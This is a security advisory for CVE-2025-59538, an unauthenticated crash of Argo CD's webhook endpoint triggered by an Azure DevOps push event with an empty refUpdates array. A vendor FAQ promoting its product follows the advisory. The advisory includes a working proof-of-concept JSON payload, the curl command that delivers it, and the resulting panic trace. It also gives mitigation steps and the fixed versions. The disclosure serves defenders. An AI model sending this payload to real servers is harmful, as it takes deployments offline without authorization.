CVE-2025-59538

In the default configuration, webhook.azuredevops.username and webhook.azuredevops.password not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.

The slice index [0] is accessed without a length check, causing an index-out-of-range panic.

A single unauthenticated HTTP POST is enough to kill the process.

Details

case azuredevops.GitPushEvent:
    // util/webhook/webhook.go -- line ≈147
    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty
    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
    touchedHead     = payload.Resource.RefUpdates[0].Name ==
                      payload.Resource.Repository.DefaultBranch

If the attacker supplies "refUpdates": [], the slice has length 0.

The webhook code has no recover(), so the panic terminates the entire binary.

PoC

payload-azure-empty.json:

{
  "eventType": "git.push",
  "resource": {
    "refUpdates": [],
    "repository": {
      "remoteUrl": "https://example.com/dummy",
      "defaultBranch": "refs/heads/master"
    }
  }
}

curl call:

curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-azure-empty.json

Observed crash:

panic: runtime error: index out of range [0] with length 0

goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
    webhook.go:147 +0x1ea5
...

Mitigation

If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.azuredevops.username: <your base64-encoded secret here>
+  webhook.azuredevops.password: <your base64-encoded secret here>

For more information

• Open an issue in the Argo CD issue tracker or discussions
• Join us on Slack in channel #argo-cd

Credits

Discovered by Jakub Ciolek at AlphaSense.

CVE-2025-59538 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.14.20, 3.2.0-rc2, 3.1.8, 3.0.19); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-59538? CVE-2025-59538 is a high-severity security vulnerability in github.com/argoproj/argo-cd/v2 (go), affecting versions >= 2.9.0-rc1, <= 2.14.19. It is fixed in 2.14.20, 3.2.0-rc2, 3.1.8, 3.0.19.
2. How severe is CVE-2025-59538? CVE-2025-59538 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2025-59538?
   • github.com/argoproj/argo-cd/v2 (go) (versions >= 2.9.0-rc1, <= 2.14.19)
   • github.com/argoproj/argo-cd/v3 (go) (versions = 3.2.0-rc1)
4. Is there a fix for CVE-2025-59538? Yes. CVE-2025-59538 is fixed in 2.14.20, 3.2.0-rc2, 3.1.8, 3.0.19. Upgrade to this version or later.
5. Is CVE-2025-59538 exploitable, and should I be worried? Whether CVE-2025-59538 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-59538 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-59538?
   • Upgrade github.com/argoproj/argo-cd/v2 to 2.14.20 or later
   • Upgrade github.com/argoproj/argo-cd/v3 to 3.2.0-rc2 or later
   • Upgrade github.com/argoproj/argo-cd/v3 to 3.1.8 or later
   • Upgrade github.com/argoproj/argo-cd/v3 to 3.0.19 or later